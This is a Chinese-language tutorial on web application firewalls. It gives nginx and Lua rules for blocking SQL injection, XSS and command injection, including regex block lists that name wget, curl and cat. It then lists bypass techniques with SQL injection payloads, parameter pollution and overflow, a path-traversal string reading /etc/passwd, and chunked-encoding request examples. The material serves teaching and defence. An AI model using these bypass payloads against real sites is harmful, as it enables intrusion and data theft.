WAF攻与防—自定义WAF规则与WAF绕过
字数 1583 2025-08-12 12:08:18
WAF攻防技术详解:自定义规则与绕过方法
一、WAF基础原理
WAF(Web应用防火墙)的核心原理是基于正则表达式匹配,通过定义各种攻击payload的模式来实施拦截。攻防双方在WAF技术上的对抗不断演进:
- 防守方:通过分析WAF日志了解最新攻击方式,编写针对性规则
- 攻击方:研究各种技术手段绕过WAF防护
二、WAF检测的关键变量
WAF主要检测以下12个请求变量:
- URL - 完整请求地址,如
http://10.67.8.118:8889/abc/shell.php - URL-path - 资源路径,如
abc/shell.php - Host - 主机地址,如
10.67.8.118:8889 - Parameter-name - 参数名,如
id(在id=123中) - Parameter - 参数值,如
123 - Header-name - 请求头名称,如
Accept-Encoding - Header - 请求头值,如
gzip,deflate - Cookie-name - Cookie名称,如
id(在id=1中) - Cookie - Cookie值,如
1 - Version - HTTP版本,如
1.1(HTTP/1.1) - Method - 请求方法,如
POST - Request-Body - 请求体内容,如
id=123
三、自定义WAF规则实现
1. 基础防护机制
浏览器行为验证
if ($cookie_say != "twgdh") {
add_header Set-Cookie "say=hbnl";
rewrite .* "$scheme://$host$uri" redirect;
}
进阶版本(结合IP):
if ($cookie_say != "twhdjl$remote_addr") {
add_header Set-Cookie "say=twgdh$remote_addr";
rewrite .* "$scheme://$host$uri" redirect;
}
更安全的散列验证(Lua实现):
rewrite_by_lua '
local say = ngx.md5("opencdn" .. ngx.var.remote_addr)
if (ngx.var.cookie_say ~= say) then
ngx.header["Set-Cookie"] = "say=" .. say
return ngx.redirect(ngx.var.scheme .. "://" .. ngx.var.host .. ngx.var.uri)
end
';
防扫描模块
推荐使用成熟的防护模块:ngx_lua_waf
2. 针对特定攻击的规则
SQL注入防护
set $block_sql_injections 0;
if ($query_string ~ "(\b(select|update|union|and|or|delete|insert|trancate|char|into|substr|ascii|declare|exec|count|master|into|drop|execute)\b)") {
set $block_sql_injections 1;
}
if ($block_sql_injections = 1) {
return 403;
}
XSS防护
set $block_xss 0;
if ($query_string ~ "[<>]") {
set $block_xss 1;
}
if ($block_xss = 1) {
return 403;
}
SSRF防护
# 过滤内网IP地址的正则表达式
RCE防护
set $block_rce 0;
if ($query_string ~ "c.*a.*t.*|.*f.*l.*a.*g.*|[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\x09|\x26|\>|\<") {
set $block_rce 1;
}
if ($block_rce = 1) {
return 403;
}
四、WAF绕过技术
绕过WAF主要利用三方面特性:服务器特性、应用层特性和WAF层特性。
1. 利用服务器特性
ASP+IIS环境特性
- %特性:
s%elect可能被解析为select - %u特性:Unicode编码绕过,如
s%u006c%u0006ect→select - 另类%u特性:不同Unicode可能解析为相同字符,如
%u0065和%u00f0都解析为e
Apache畸形Method
TEST /sql.php?id=1 HTTP/1.1
Host: 127.0.0.1
...
2. 利用应用层特性
基本绕过技术
- 大小写转换:
AnD 1=2 - 注释插入:
union/**/select/**/1,2,3,4 from admin un/**/io/**/n/**/sel/**/ec/**/t/**/1,2,3,4 from admin /*!and*/ 1=2 - URL编码:
/=%2f,*=%2a,%=%25 - 空字节:
id=1%00and 1=2 - 嵌套剥离:
selselectect→select(某些过滤器剥离后) - 宽字节:使用宽字符编码绕过
参数污染
bbs=u&bbs=n&bbs=i&bbs=o&bbs=n&bbs=select 1,user(),3
组合技术
- 替换法+URL编码:
and→&&→%26%26 - 内联注释+替换法:
union/%00//!50010select/(database/ /()),(user/ /())%23
3. 利用WAF层特性
逻辑问题绕过
- 查找真实IP绕过CDN防护
- 同时提交GET和POST请求,WAF可能忽略GET参数
- HTTP和HTTPS同时开放,直接访问无防护的HTTP
- 使用
%00截断,WAF可能只检测前半部分
性能问题绕过
- 参数数量溢出:填充大量参数使WAF不检测后面的恶意参数
?a0=0&a1=1&...&a100=100&id=1 union select 1,schema_name,3... - 缓冲区溢出:超长测试向量导致WAF崩溃
?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT... - 重复请求:多次提交相同请求,部分可能绕过
白名单绕过
- IP白名单:伪造HTTP头(
X-forwarded-for等) - URL白名单:
http://10.9.9.201/sql.php/1.js?id=1 http://10.9.9.201/sql.php/admin.php?id=1 http://10.9.9.201/sql.php?a=/manage/&b=../etc/passwd http://10.9.9.201/manage/../sql.asp?id=2
4. 分块传输绕过
基本分块传输
POST /sql.php HTTP/1.1
Host: 127.0.0.1
Transfer-Encoding: chunked
5
id=1
0
高级绕过技术
在分块长度标识后添加注释:
POST /sql.php HTTP/1.1
Host: 127.0.0.1
Transfer-Encoding: chunked
5;xxx
id=1
0
五、总结
WAF攻防是持续演进的过程,防守方需要不断更新规则并采用多层防护策略,而攻击者则不断研究新的绕过技术。有效的WAF防护需要:
- 了解常见攻击模式并编写针对性规则
- 实施多因素验证和异常行为检测
- 定期更新规则库和安全策略
- 采用深度防御策略,不依赖单一防护机制
通过深入理解WAF工作原理和绕过技术,可以构建更强大的Web应用防护体系。